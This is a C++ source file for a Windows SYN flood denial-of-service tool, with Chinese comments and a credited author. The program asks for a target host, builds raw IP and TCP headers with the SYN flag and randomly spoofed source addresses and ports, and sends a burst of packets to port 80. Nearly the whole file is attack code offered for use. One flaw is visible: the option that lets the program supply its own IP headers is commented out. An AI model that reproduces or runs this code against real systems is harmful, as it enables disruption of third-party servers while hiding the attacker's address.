synflood.cpp

网络攻击方面的syn flood攻击。在windows2000上运行。

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include "string.h"
#include <time.h>
#pragma comment(lib,"ws2_32.lib")
#define SEQ 0x28376839
#define DEST_PORT 80
#define times 1000
struct sockaddr_in dest;

char *DEST_HOST;
int DEST_PORTEND;
int play=0;
clock_t start,end;//程序运行的起始和结束时间
float costtime;//程序耗时
char SendBuf[128]={0};
unsigned int tcp_socket;

int iErrorCode;

typedef struct _iphdr 
{
	unsigned char h_lenver; //4位首部长度+4位IP版本号
	unsigned char tos; //8位服务类型TOS
	unsigned short total_len; //16位总长度（字节）
	unsigned short ident; //16位标识
	unsigned short frag_and_flags; //3位标志位
	unsigned char ttl; //8位生存时间 TTL
	unsigned char proto; //8位协议 (TCP, UDP 或其他)
	unsigned short checksum; //16位IP首部校验和
	unsigned int sourceIP; //32位源IP地址
	unsigned int destIP; //32位目的IP地址
}IP_HEADER;

typedef struct _tcphdr //定义TCP首部
{
	USHORT th_sport; //16位源端口
	USHORT th_dport; //16位目的端口
	unsigned int th_seq; //32位序列号
	unsigned int th_ack; //32位确认号
	unsigned char th_lenres; //4位首部长度/6位保留字
	unsigned char th_flag; //6位标志位
	USHORT th_win; //16位窗口大小
	USHORT th_sum; //16位校验和
	USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER; 

struct //定义TCP伪首部
{
	unsigned long saddr; //源地址
	unsigned long daddr; //目的地址
	char mbz;
	char ptcl; //协议类型
	unsigned short tcpl; //TCP长度
}psd_header;

IP_HEADER ip_header;
TCP_HEADER tcp_header;


void CheckSockError(int iErrorCode, char *pErrorMsg,int sock)  //SOCK错误处理程序
{
	if(iErrorCode==SOCKET_ERROR)
	{
		printf("%s Error:%d\n", pErrorMsg, GetLastError());
		closesocket(sock);
		ExitProcess(-1);
	}
}

USHORT checksum(USHORT *buffer, int size) //计算检验和
{
	unsigned long cksum=0;
	while (size > 1) 
	{
		cksum += *buffer++;
		size -= sizeof(USHORT);
	}
	if (size) 
	{
		cksum += *(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16);
	return (USHORT)(~cksum);
}


void usage(void)
{
	printf("\t===================SYN flood======================\n");
	printf("\t______________Written By Sun Huadong_______________\n");
	printf("\t**************************************************\n");
}

void playx(void)  // 定义状态提示函数 
{ 
	// 进度条 
	char *plays[12]= 
	{ 
		" | ", 
		" / ", 
		" - ", 
		 " \\ ", 
		" | ", 
		" / ", 
		 " - ", 
		 " \\ ", 
		" | ", 
		" / ", 
		" - ", 
		" \\ ", 
	}; 
	printf(" =%s=\r", plays[play]);
	play=(play==11)?0:play+1;
	Sleep(10);
}


void dosynpacket(unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port, unsigned short ran_port) 
{

	ip_header.destIP=dest_addr; //32位目的IP地址
	ip_header.sourceIP=source_addr;

	tcp_header.th_sport=htons(ran_port); //源端口号
	tcp_header.th_seq=htonl(ran_port); //SYN序列号

	//计算TCP校验和，计算校验和时需要包括TCP pseudo header 
	memcpy(SendBuf,&psd_header,sizeof(psd_header)); 
	memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
	tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

	int datasize;
	//计算IP校验和
	memcpy(SendBuf,&ip_header,sizeof(ip_header));
	memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
	memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
	datasize=sizeof(ip_header)+sizeof(tcp_header);
	ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

	//填充发送缓冲区
	memcpy(SendBuf,&ip_header,sizeof(ip_header));

	//发送TCP报文
	iErrorCode=sendto(tcp_socket,SendBuf,datasize,0, (struct sockaddr*)&dest,sizeof(dest));
}

int main()
{
	usage();
	char host[32];
	printf("输入目的主机：");
	scanf("%s",host);
	start=clock();
	DEST_HOST=host;
	struct hostent *hp;
	
	//获得目标主机IP
	memset(&dest,0,sizeof(dest));
	dest.sin_family = AF_INET;
	dest.sin_port = htons(DEST_PORT);
	if((dest.sin_addr.s_addr = inet_addr(DEST_HOST)) == INADDR_NONE)
	{
		if((hp = gethostbyname(DEST_HOST)) != NULL)
		{
			memcpy(&(dest.sin_addr),hp->h_addr_list[0],hp->h_length);
			dest.sin_family = hp->h_addrtype;
			printf("dest.sin_addr = %s\n",inet_ntoa(dest.sin_addr));
		}
	}


	//填充IP首部
	ip_header.h_lenver=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
	//高四位IP版本号，低四位首部长度
	ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度（字节）
	ip_header.ident=1; //16位标识
	ip_header.frag_and_flags=0; //3位标志位
	ip_header.ttl=128; //8位生存时间TTL
	ip_header.proto=IPPROTO_TCP; //8位协议(TCP,UDP…)
	ip_header.checksum=0; //16位IP首部校验和


	//填充TCP首部
	tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP长度和保留位
	tcp_header.th_win=htons(16384); 
	tcp_header.th_dport=htons(DEST_PORT); //目的端口号
	tcp_header.th_ack=0; //ACK序列号置为0
	tcp_header.th_flag=1; //SYN 标志
	tcp_header.th_urp=0; //偏移
	tcp_header.th_sum=0; //校验和

	//填充TCP伪首部（用于计算校验和，并不真正发送）
	psd_header.saddr=ip_header.sourceIP;
	psd_header.daddr=ip_header.destIP;
	psd_header.mbz=0;
	psd_header.ptcl=IPPROTO_TCP;
	psd_header.tcpl=htons(sizeof(tcp_header));


	WSADATA wsaData;
	iErrorCode = WSAStartup(MAKEWORD(2,2),&wsaData);
	tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
	if(tcp_socket < 0)
	{
		perror("socket");
		exit(1);
	}

	//设置IP头操作选项
/*	BOOL bOpt = true;
	iErrorCode = setsockopt(tcp_socket,IPPROTO_IP,IP_HDRINCL,(char *)&bOpt,sizeof(bOpt));
	CheckSockError(iErrorCode, "setsockopt()",tcp_socket); 
*/	

	unsigned int des_addr=dest.sin_addr.s_addr;
	unsigned int sour_addr;
	int s1,s2,s3,s4;
	unsigned short random_port;
	for(unsigned int i=0;i<times;i++)
	{
		playx();
		s1 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));      
		s2 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));      
		s3 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));      
		s4 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));      
		random_port = 1+(int) (10000.0*rand()/(RAND_MAX+1.0));
		sour_addr=s1*16777216+s2*65536+s3*256+s4; //32位源IP地址
		dosynpacket(sour_addr,des_addr,DEST_PORT,random_port);
	
	}
	closesocket(tcp_socket);
	WSACleanup( ); 
	end=clock();//计时结束
	costtime= (float)(end - start) / CLOCKS_PER_SEC;  //转换时间格式
	printf("Cost time:%f Sec\n",costtime);//显示耗时
	system("pause");
	return 0;
}